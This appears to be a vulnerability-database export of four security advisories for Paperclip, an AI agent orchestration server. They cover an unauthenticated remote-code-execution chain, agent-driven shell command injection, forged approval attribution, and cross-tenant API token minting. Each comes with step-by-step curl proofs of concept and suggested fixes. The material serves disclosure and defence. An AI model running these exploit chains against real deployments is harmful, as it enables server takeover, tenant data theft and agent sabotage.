| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-8qz8-j4yr-7uhv |
| vulnerability_id |
VCID-8qz8-j4yr-7uhv |
| summary |
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
## Summary
An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.
I verified every step against the latest version. I have a fully automated PoC script and a video recording available.
Discord: sagi03581
## Steps to Reproduce
The attack chains four independent flaws to escalate from zero access to RCE:
### Step 1: Create an account (no invite, no email verification)
```bash
curl -s -X POST -H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
http://<target>:3100/api/auth/sign-up/email
```
Returns a valid account immediately. No invite token required, no email verification.
This works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:
```typescript
const authDisableSignUp: boolean =
disableSignUpFromEnv !== undefined
? disableSignUpFromEnv === "true"
: (fileConfig?.auth?.disableSignUp ?? false); // default: open
```
And email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:
```typescript
emailAndPassword: {
enabled: true,
requireEmailVerification: false,
disableSignUp: config.authDisableSignUp,
},
```
The environment variable isn't documented in the deployment guide, so operators don't know it exists.
### Step 2: Sign in
```bash
curl -s -v -X POST -H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
http://<target>:3100/api/auth/sign-in/email
```
Capture the session cookie from the `Set-Cookie` header.
### Step 3: Create a CLI auth challenge and self-approve it
Create the challenge (no authentication required at all):
```bash
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
```
The response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.
Now approve it with our own session:
```bash
curl -s -X POST \
-H "Cookie: <session-cookie>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{"token":"<token-from-above>"}' \
http://<target>:3100/api/cli-auth/challenges/<id>/approve
```
The approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:
```typescript
if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);
```
The `boardApiToken` from step 3 is now a persistent API key tied to our account.
### Step 4: Create a company and deploy an agent via import (authorization bypass)
This is the critical flaw. The direct company creation endpoint correctly requires instance admin:
`server/src/routes/companies.ts:260-264`:
```typescript
router.post("/", validate(createCompanySchema), async (req, res) => {
assertBoard(req);
if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
throw forbidden("Instance admin required");
}
});
```
But the import endpoint does not:
`server/src/routes/companies.ts:170-176`:
```typescript
router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
assertBoard(req); // only checks board type
if (req.body.target.mode === "existing_company") {
assertCompanyAccess(req, req.body.target.companyId); // only for existing
}
// NO assertInstanceAdmin for "new_company" mode
const result = await portability.importBundle(req.body, ...);
});
```
`assertInstanceAdmin` isn't even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.
The import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).
```bash
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{
"source": {"type": "inline", "files": {
"COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
"agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
".paperclip.yaml": "agents:\n pwn:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
}},
"target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
"include": {"company": true, "agents": true},
"agents": "all"
}' \
http://<target>:3100/api/companies/import
```
Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.
### Step 5: Trigger the agent
```bash
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{}' \
http://<target>:3100/api/agents/<agent-id>/wakeup
```
The wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c "id > /tmp/pwned.txt && ..."` as the server's OS user.
### Proof of Concept
I have a self-contained bash script that runs the full chain automatically:
```
./poc_exploit.sh http://<target>:3100
```
It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.
## Impact
An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any `authenticated` mode deployment with default configuration. This gives them:
- Full filesystem access (read/write as the server user)
- Access to all data in the Paperclip database
- Ability to pivot to internal network services
- Ability to disrupt all agent operations
The attack is fully automated, requires no user interaction, and works against the default deployment configuration.
## Suggested Fixes
### Critical: Unauthorized board access (the root cause)
The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:
- Read adapter configurations and internal API structure
- Approve/reject/request-revision on any company's approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)
- Cancel any company's agent runs (same missing check)
- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)
- Create unlimited accounts for resource exhaustion
- Wait for the next authorization bug to appear
**These need to be fixed together:**
1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.
2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.
3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.
### Critical: Import authorization bypass (the RCE path)
4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both `POST /import` and `POST /import/preview`:
```typescript
assertBoard(req);
if (req.body.target.mode === "new_company") {
if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
throw forbidden("Instance admin required");
}
} else {
assertCompanyAccess(req, req.body.target.companyId);
}
``` |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-41679, GHSA-68qg-g8mg-6pr7
|
| risk_score |
null |
| exploitability |
null |
| weighted_severity |
null |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-8qz8-j4yr-7uhv |
|
| 1 |
| url |
VCID-9815-7yfs-kue1 |
| vulnerability_id |
VCID-9815-7yfs-kue1 |
| summary |
Paperclip: Privilege Escalation via Agent-Controlled workspaceStrategy.provisionCommand Leading to OS Command Execution
### Summary
Paperclip contains a privilege escalation vulnerability that allows an attacker with an Agent API key to execute arbitrary OS commands on the Paperclip server host.
An attacker with an agent credential can escalate privileges from the agent runtime to the Paperclip server host.
The vulnerability occurs because agents are allowed to update their own adapterConfig via the /agents/:id API endpoint.
The configuration field adapterConfig.workspaceStrategy.provisionCommand is later executed by the server runtime using:
```
spawn("/bin/sh", ["-c", command])
```
As a result, an attacker controlling an agent credential can inject arbitrary shell commands which are executed by the Paperclip server during workspace provisioning.
This breaks the intended trust boundary between agent runtime configuration and server host execution, allowing a compromised or malicious agent to escalate privileges and run commands on the host system.
This vulnerability allows remote code execution on the server host.
### Details
#### Rootcause
Agent configuration can be modified through the API endpoint:
```
PATCH /api/agents/:id
```
The validation schema allows arbitrary configuration fields:
```
adapterConfig: z.record(z.unknown())
```
This allows attackers to inject arbitrary keys into the adapter configuration object.
Later, during workspace provisioning, the server runtime executes a shell command derived directly from this configuration.
Relevant code path:
```
server/src/services/workspace-runtime.ts
adapterConfig.workspaceStrategy.provisionCommand
↓
provisionExecutionWorktree()
↓
runWorkspaceCommand(...)
↓
spawn("/bin/sh", ["-c", input.command])
```
Example logic:
```
const provisionCommand = asString(input.strategy.provisionCommand, "").trim()
await runWorkspaceCommand({
command: provisionCommand
})
```
Inside runWorkspaceCommand the command is executed using:
```
spawn(shell, ["-c", input.command])
```
Because no validation, escaping, or allowlist is applied, attacker-controlled configuration becomes a direct OS command execution primitive.
#### Affected Files
```
server/src/services/workspace-runtime.ts
```
Functions involved:
```
realizeExecutionWorkspace()
provisionExecutionWorktree()
runWorkspaceCommand()
```
#### Attacker Model
Required privileges:
Attacker needs:
```
Agent API key
```
This credential is intended for agent automation and should not grant host-level execution privileges.
Agent credentials may also be exposed to external runtimes, plugins, or third-party agent providers. Allowing such credentials to configure host-executed commands creates a privilege escalation vector.
No board or administrator access is required.
#### Attacker Chain
Complete exploit chain:
```
Attacker obtains Agent API key
↓
PATCH /api/agents/:id
↓
Inject adapterConfig.workspaceStrategy.provisionCommand
↓
POST /api/agents/:id/wakeup
↓
Server executes workspace provisioning
↓
workspace-runtime.ts
↓
spawn("/bin/sh -c")
↓
Arbitrary command execution on server host
```
#### Trust Boundary Violation
Paperclip’s architecture assumes the following separation:
```
Agent runtime
↓
Paperclip control plane
↓
Server host OS
Agents should only perform workflow automation tasks through the orchestration layer.
However, because agent-controlled configuration is executed directly by the server runtime, the boundary collapses:
Agent configuration
↓
Server command execution
```
This allows an agent to execute commands outside its intended permissions.
#### Why This Is a Vulnerability (Not Expected Behavior)
The provisionCommand field appears intended for trusted operators configuring workspace strategies.
However, the current API design allows agents themselves to modify this configuration.
Because agent credentials are designed for automation and may be exposed to agent runtimes, plugins, or external providers, allowing them to configure commands executed by the host introduces a privilege escalation vector.
Therefore:
```
Operator-controlled configuration → expected feature
Agent-controlled configuration → privilege escalation vulnerability
```
The vulnerability arises from insufficient separation between configuration authority and execution authority.
### PoC
The following PoC demonstrates safe command execution by writing a marker file on the server.
The PoC does not modify system state beyond creating a file.
#### Step 1 — Setup Environment
Run Server:
```
$env:SHELL = "C:\Program Files\Git\bin\sh.exe"
npx paperclipai onboard --yes
```
<img width="1444" height="699" alt="image" src="https://github.com/user-attachments/assets/44401c6d-ec73-4e59-943a-8635d5115c2c" />
Login Claude:
```
claude
/login
```
#### Step 2 — Obtain Agent API key
Create an agent via the UI or CLI and obtain its API key.
Example:
```
pcp_xxxxxxxxxxxxxxxxxxxxx
```
<img width="1457" height="670" alt="image" src="https://github.com/user-attachments/assets/bb1ab898-cf0b-47b1-865a-127ba6fdc43c" />
#### Step 3 — Identify agent ID
```
GET /api/agents/me
```
<img width="1463" height="639" alt="image" src="https://github.com/user-attachments/assets/cadea916-9e57-4cf4-a11c-7320a22c4ab6" />
#### Step 4 — Inject malicious configuration
```
PATCH /api/agents/{agentId}
```
<img width="1476" height="697" alt="image" src="https://github.com/user-attachments/assets/612f7a16-b6d6-418e-bcbe-ce602b711b14" />
Payload:
```
PS E:\BucVe\pocrepo> $patchBody = @{
>> adapterConfig = @{
>> workspaceStrategy = @{
>> type = "git_worktree"
>> provisionCommand = "echo PAPERCLIP_RCE > poc_rce.txt"
>> }
>> }
>> } | ConvertTo-Json -Depth 10
```
#### Step 5 — Trigger execution
```
POST /api/agents/{agentId}/wakeup
```
<img width="1472" height="675" alt="image" src="https://github.com/user-attachments/assets/268c7322-a5f5-4f3a-a4d4-b43efbecb20e" />
#### Step 6 — Verify command execution
<img width="1231" height="347" alt="image" src="https://github.com/user-attachments/assets/559c483b-077e-42dd-9309-6a5e5c6a3bdc" />
The marker file appears on the server filesystem:
```
~/.paperclip/worktrees/.../poc_rce.txt
```
Example content:
```
PAPERCLIP_RCE
```
This confirms that attacker-controlled commands executed on the server.
### Impact
Successful exploitation allows:
```
Remote command execution on the Paperclip server
```
Potential attacker actions:
```
read environment variables
exfiltrate secrets
modify repositories
access database credentials
execute reverse shells
persist on host
```
Because Paperclip orchestrates multiple agents and repositories, this can lead to full compromise of the deployment environment.
This effectively allows a malicious agent to escape the orchestration layer and execute arbitrary commands on the server host.
### Recommended Fix
1. Restrict configuration authority
Agents should not be able to modify execution-sensitive configuration fields.
Example mitigation:
```
deny adapterConfig.workspaceStrategy modification from agent credentials
```
2. Server-side allowlist
Only allow trusted configuration keys.
Example:
```
adapterConfig.workspaceStrategy.provisionCommand
should only be configurable by board/admin actors.
```
3. Avoid shell execution
Instead of:
```
spawn("/bin/sh", ["-c", command])
```
prefer:
```
spawn(binary, args)
```
or a restricted command runner.
4. Input validation
Reject commands containing shell operators:
```
|
&
;
$
`
```
5. Sandboxed workspace execution
Workspace provisioning should run in a restricted environment (container / sandbox).
### Minimal Patch Suggestion
One possible mitigation is to prevent agent principals from modifying execution-sensitive configuration fields such as `workspaceStrategy.provisionCommand`.
For example, during agent configuration updates, the server can explicitly reject this field when the request is authenticated using an Agent API key.
Example TypeScript guard:
```ts
// reject agent-controlled provisionCommand
if (
request.auth?.principal === "agent" &&
body?.adapterConfig?.workspaceStrategy?.provisionCommand
) {
throw new Error(
"Agents are not permitted to configure workspaceStrategy.provisionCommand"
);
}
```
Additionally, the server should avoid executing arbitrary shell commands derived from configuration values.
Instead of executing:
```
spawn("/bin/sh", ["-c", command])
```
prefer structured execution:
```
spawn(binary, args)
```
or restrict the command to a predefined allowlist.
### Security Impact Statement
An authenticated attacker with an Agent API key can modify their agent configuration to inject arbitrary shell commands into `workspaceStrategy.provisionCommand`. These commands are executed by the Paperclip server during workspace provisioning via `spawn("/bin/sh", ["-c", command])`, resulting in arbitrary command execution on the host system.
### Disclosure
This vulnerability was discovered during security research on the Paperclip orchestration runtime.
The issue is reported privately to allow maintainers to patch before public disclosure. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-41208, GHSA-265w-rf2w-cjh4
|
| risk_score |
null |
| exploitability |
null |
| weighted_severity |
null |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-9815-7yfs-kue1 |
|
| 2 |
| url |
VCID-bde1-v6ct-gfgt |
| vulnerability_id |
VCID-bde1-v6ct-gfgt |
| summary |
Paperclip: Approval decision attribution spoofing via client-controlled `decidedByUserId` in paperclip server
## Summary
The approval-resolution endpoints (`POST /approvals/:id/approve`, `/reject`, `/request-revision`) accept a client-supplied `decidedByUserId` field in the request body and write it verbatim into the authoritative `approvals.decidedByUserId` column — without cross-checking it against the authenticated actor. Any board user who can access an approval's company can record the decision as having been made by another user (e.g. the CEO), forging the governance audit trail. For `hire_agent` approvals with a monthly budget, the same attacker-controlled string is also stamped onto the resulting `budget_policies` row as `createdByUserId`/`updatedByUserId`.
## Details
**Entry point** — `server/src/routes/approvals.ts:130`:
```ts
router.post("/approvals/:id/approve", validate(resolveApprovalSchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
if (!(await requireApprovalAccess(req, id))) {
res.status(404).json({ error: "Approval not found" });
return;
}
const { approval, applied } = await svc.approve(
id,
req.body.decidedByUserId ?? "board", // ← client-controlled
req.body.decisionNote,
);
```
**Authorization check** — `server/src/routes/authz.ts:4`:
```ts
export function assertBoard(req: Request) {
if (req.actor.type !== "board") {
throw forbidden("Board access required");
}
}
```
`assertBoard` only checks that the caller is some board user; it never ties `req.body.decidedByUserId` to `req.actor.userId`. `requireApprovalAccess`/`assertCompanyAccess` only verify the attacker is allowed to touch the approval's company, which every board user in that company already is.
**Validator** — `packages/shared/src/validators/approval.ts:13`:
```ts
export const resolveApprovalSchema = z.object({
decisionNote: z.string().optional().nullable(),
decidedByUserId: z.string().optional().default("board"),
});
```
The Zod schema accepts any string for `decidedByUserId` — no UUID check, no membership check, no binding to the session.
**Sink** — `server/src/services/approvals.ts:54`:
```ts
const updated = await db
.update(approvals)
.set({
status: targetStatus,
decidedByUserId, // ← attacker-chosen value written verbatim
decisionNote: decisionNote ?? null,
decidedAt: now,
updatedAt: now,
})
.where(and(eq(approvals.id, id), inArray(approvals.status, resolvableStatuses)))
.returning()
```
**Secondary sink (budget policies)** — `server/src/services/approvals.ts:147-156`, reached when a `hire_agent` approval with `budgetMonthlyCents > 0` is approved:
```ts
if (budgetMonthlyCents > 0) {
await budgets.upsertPolicy(
updated.companyId,
{ scopeType: "agent", scopeId: hireApprovedAgentId, amount: budgetMonthlyCents, windowKind: "calendar_month_utc" },
decidedByUserId, // ← forwarded as actorUserId
);
}
```
`budgets.upsertPolicy` uses that `actorUserId` to populate `createdByUserId`/`updatedByUserId` on the `budget_policies` row, extending the forgery to budget-policy audit columns.
**Same pattern in `reject` and `request-revision`** — `server/src/routes/approvals.ts:229` and `:257`:
```ts
router.post("/approvals/:id/reject", validate(resolveApprovalSchema), async (req, res) => {
assertBoard(req);
...
const { approval, applied } = await svc.reject(id, req.body.decidedByUserId ?? "board", req.body.decisionNote);
```
`approvalService.reject()` and `requestRevision()` (`approvals.ts:175` and `:201`) both write `decidedByUserId` directly into the approvals row.
**Why `logActivity` is not a mitigation**: the route handlers correctly use `req.actor.userId ?? "board"` when writing to `activity_log` (e.g. `approvals.ts:151`, `175`, `190`, `212`, `246`, `276`), which shows the developer intent was that the deciding user equals the authenticated user. But the authoritative `approvals.decidedByUserId` column — the value shown to anyone reviewing the approval — is still sourced from the client, so the two records are allowed to diverge and the user-visible attribution is the forged one.
**Why this is reachable from a non-admin attacker**: `actorMiddleware` (`server/src/middleware/auth.ts:62-98`) populates `req.actor` as `type: "board"` for any authenticated user (session cookie or board API key); `isInstanceAdmin` is not consulted by `assertBoard`. In a multi-user `authenticated` deployment, any board member of a company can spoof the attribution of any other board member for approvals within that company. In `local_trusted` deployments there is only a single implicit `local-board` user, so the exploit has no target — but the code is shipped for both deployment modes.
## PoC
Prerequisite: a pending `hire_agent` approval `$APPROVAL_ID` in a company where both `attacker@corp` and `ceo@corp` are board members of the `authenticated` deployment. Attacker authenticates with their own session cookie / board API key.
1. Attacker approves as the CEO:
```bash
curl -X POST http://localhost:3000/approvals/$APPROVAL_ID/approve \
-H 'Content-Type: application/json' \
-H "Cookie: $ATTACKER_SESSION" \
-d '{"decidedByUserId":"ceo@corp","decisionNote":"LGTM"}'
```
2. Verify the forged attribution is stored on the authoritative row:
```bash
curl http://localhost:3000/approvals/$APPROVAL_ID \
-H "Cookie: $ATTACKER_SESSION" | jq '.decidedByUserId'
# => "ceo@corp"
```
3. For `hire_agent` approvals with `budgetMonthlyCents > 0`, confirm the budget-policy row is also stamped with the forged user (direct DB read, or via an endpoint that surfaces `budget_policies.createdByUserId`):
```sql
SELECT scope_id, amount, created_by_user_id, updated_by_user_id
FROM budget_policies
WHERE scope_type = 'agent'
ORDER BY created_at DESC LIMIT 1;
-- created_by_user_id = 'ceo@corp'
-- updated_by_user_id = 'ceo@corp'
```
4. The same body works against `/approvals/$APPROVAL_ID/reject` and `/approvals/$APPROVAL_ID/request-revision`.
Note: the `activity_log` row written alongside the approval still shows the real attacker's `userId` (correctly taken from `req.actor.userId`), so a defender who looks at `activity_log` will see the discrepancy — but the approval UI, the approvals API, and the budget_policies audit columns all display the forged user.
## Impact
- **Forged governance audit trail.** Any board user with access to a company can record approval, rejection, or revision-request decisions under any arbitrary user identifier — including other legitimate board users of that company. Approvals gate security-sensitive actions (agent hiring, which grants execution privileges and assigns a monthly spend budget), and the `approvals.decidedByUserId` column is the authoritative record of who authorized each decision.
- **Budget-policy attribution forgery.** For `hire_agent` approvals that carry a monthly budget, `budget_policies.createdByUserId` / `updatedByUserId` are also populated from the same attacker-controlled string, spreading the forgery to spend-authorization audit columns.
- **Non-repudiation break.** A board user can frame another board user for approving/rejecting a hire, undermining accountability for governance actions. The parallel `activity_log` entry does preserve the true actor, but any reviewer inspecting the approval itself (not the activity log) will see the forged attribution as fact.
- **Scope.** Limited to board users who already have company access; does not escalate privileges, does not leak data, and does not change whether the decision itself gets applied. Integrity impact is Low (attribution only, not decision content); confidentiality and availability are unaffected.
## Recommended Fix
Drop `decidedByUserId` from the request schema entirely and derive it server-side from the authenticated actor. Treat `req.body.decidedByUserId` as untrusted and ignore it.
**`packages/shared/src/validators/approval.ts`:**
```ts
export const resolveApprovalSchema = z.object({
decisionNote: z.string().optional().nullable(),
// decidedByUserId removed — server derives from req.actor
});
export const requestApprovalRevisionSchema = z.object({
decisionNote: z.string().optional().nullable(),
});
```
**`server/src/routes/approvals.ts`** (apply to `/approve`, `/reject`, `/request-revision`):
```ts
router.post("/approvals/:id/approve", validate(resolveApprovalSchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
if (!(await requireApprovalAccess(req, id))) {
res.status(404).json({ error: "Approval not found" });
return;
}
const decidedBy = req.actor.userId ?? "board"; // trust the session, not the body
const { approval, applied } = await svc.approve(id, decidedBy, req.body.decisionNote);
...
});
```
Repeat the same `const decidedBy = req.actor.userId ?? "board";` substitution at `approvals.ts:238` (`/reject`) and `:269` (`/request-revision`). No change is needed inside `approvalService` — it already accepts the value as a parameter — and this also ensures the forged value cannot reach `budgets.upsertPolicy` at `approvals.ts:155`. Existing callers that currently pass a body `decidedByUserId` can be updated to stop sending it (it is already effectively redundant with the session). |
| references |
|
| fixed_packages |
|
| aliases |
GHSA-p7mm-r948-4q3q
|
| risk_score |
null |
| exploitability |
null |
| weighted_severity |
null |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-bde1-v6ct-gfgt |
|
| 3 |
| url |
VCID-g5vy-d84b-73bj |
| vulnerability_id |
VCID-g5vy-d84b-73bj |
| summary |
Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys
<img width="7007" height="950" alt="01-setup" src="https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e" />
> Isolated paperclip instance running in authenticated mode (default config)
> on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post
> the 2026.410.0 patch). This advisory was verified on an unmodified build.
### Summary
`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and
`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`
lines 2050-2087) only call `assertBoard` to authorize the caller. They never
call `assertCompanyAccess` and never verify that the caller is a member of the
company that owns the target agent.
Any authenticated board user (including a freshly signed-up account with zero
company memberships and no `instance_admin` role) can mint a plaintext
`pcp_*` agent API token for any agent in any company on the instance. The
minted token is bound to the **victim** agent's `companyId` server-side, so
every downstream `assertCompanyAccess` check on that token authorizes
operations inside the victim tenant.
This is a pure authorization bypass on the core tenancy boundary. It is
distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in
2026.410.0): that advisory fixed one handler, this report is a different
handler with the same class of mistake that the 2026.410.0 patch did not
cover.
### Root Cause
`server/src/routes/agents.ts`, lines 2050-2087:
```ts
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const key = await svc.createApiKey(id, req.body.name);
...
res.status(201).json(key); // returns plaintext `token`
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const keyId = req.params.keyId as string;
const revoked = await svc.revokeKey(keyId);
...
});
```
Compare the handler 12 lines below, `router.post("/agents/:id/wakeup")`,
which shows the correct pattern: it fetches the agent, then calls
`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above
do not even fetch the agent.
The token returned by `POST /agents/:id/keys` is bound to the **victim**
company in `server/src/services/agents.ts`, lines 580-609:
```ts
createApiKey: async (id: string, name: string) => {
const existing = await getById(id); // victim agent
...
const token = createToken();
const keyHash = hashToken(token);
const created = await db
.insert(agentApiKeys)
.values({
agentId: id,
companyId: existing.companyId, // <-- victim tenant
name,
keyHash,
})
.returning()
.then((rows) => rows[0]);
return {
id: created.id,
name: created.name,
token, // <-- plaintext returned
createdAt: created.createdAt,
};
},
```
`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer
token to `actor = { type: "agent", companyId: existing.companyId }`, so every
subsequent `assertCompanyAccess(req, victim.companyId)` check passes.
The exact same `assertBoard`-only pattern is also present on agent lifecycle
handlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,
and `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can
terminate, delete, or silently pause any agent in any company with the same
primitive.
### Trigger Conditions
1. Paperclip running in `authenticated` mode (the public, multi-user
configuration — `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).
2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default — same
default precondition as GHSA-68qg-g8mg-6pr7).
3. At least one other company exists on the instance with at least one
agent. In practice this is the normal state of any production paperclip
deployment. The attacker needs the victim agent's ID, which leaks through
activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that
the 2026.410.0 disclosure also flagged as under-protected.
No admin role, no invite, no email verification, no CSRF dance. The attacker
is an authenticated browser-session user with zero company memberships.
### PoC
Verified against a freshly built `ghcr.io/paperclipai/paperclip:latest`
container at commit `b649bd4` (2026.411.0-canary.8, which is **post** the
2026.410.0 import-bypass patch). Full 5-step reproduction:
<img width="5429" height="1448" alt="02-signup" src="https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b" />
> Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow
> (no invite, no verification) and confirms via `GET /api/companies` that she
> is a member of zero companies. She has no tenant access through the normal
> authorization path.
```bash
# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
-H 'Content-Type: application/json' \
-d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.
# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []
```
<img width="2891" height="1697" alt="03-exploit" src="https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849" />
> Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys`
> targeting an agent in Victim Corp (a company she is NOT a member of). The
> server returns a plaintext `pcp_*` token tied to the victim's `companyId`.
> There is no authorization error. `assertBoard` passed because Mallory is a
> board user; `assertCompanyAccess` was never called.
```bash
# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
-H "Cookie: $MALLORY_SESSION" \
-H "Origin: http://<target>:3102" \
-H "Content-Type: application/json" \
-d '{"name":"pwnkit"}' \
http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }
```
<img width="2983" height="2009" alt="04-exfil" src="https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b" />
> Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`
> resolves it to `actor = { type: "agent", companyId: VICTIM }`, so every
> downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.
> Mallory can now enumerate the victim's company metadata, issues, approvals,
> and agent configuration — none of which she had access to 30 seconds ago.
```bash
# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }
```
Observed outputs (all verified on live instance at time of submission):
- `POST /api/agents/:id/keys` → **201** with plaintext `token` bound to
the victim's `companyId`
- `GET /api/companies/:victimId` → **200** full company metadata
- `GET /api/companies/:victimId/issues` → **200** issue list
- `GET /api/companies/:victimId/agents` → **200** agent list
- `GET /api/companies/:victimId/approvals` → **200** approval list
### Impact
- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,
CWE-862, CWE-1220)
- **Who is impacted:** every paperclip instance running in `authenticated`
mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is
the documented multi-user configuration and the default in
`docker/docker-compose.quickstart.yml`.
- **Confidentiality:** HIGH. Any signed-up user can read another tenant's
company metadata, issues, approvals, runs, and agent configuration (which
includes adapter URLs, model settings, and references to stored secret
bindings).
- **Integrity:** HIGH. The minted token is a persistent agent credential
that authenticates for every `assertCompanyAccess`-gated agent-scoped
mutation in the victim tenant (issue/run updates, self-wakeup with
attacker-controlled payloads, adapter execution via the agent's own
adapter, etc.).
- **Availability:** HIGH. The attacker can `pause`, `terminate`, or
`DELETE` any agent in any company via the sibling `assertBoard`-only
handlers (`/agents/:id/pause`, `/resume`, `/terminate`,
`DELETE /agents/:id`).
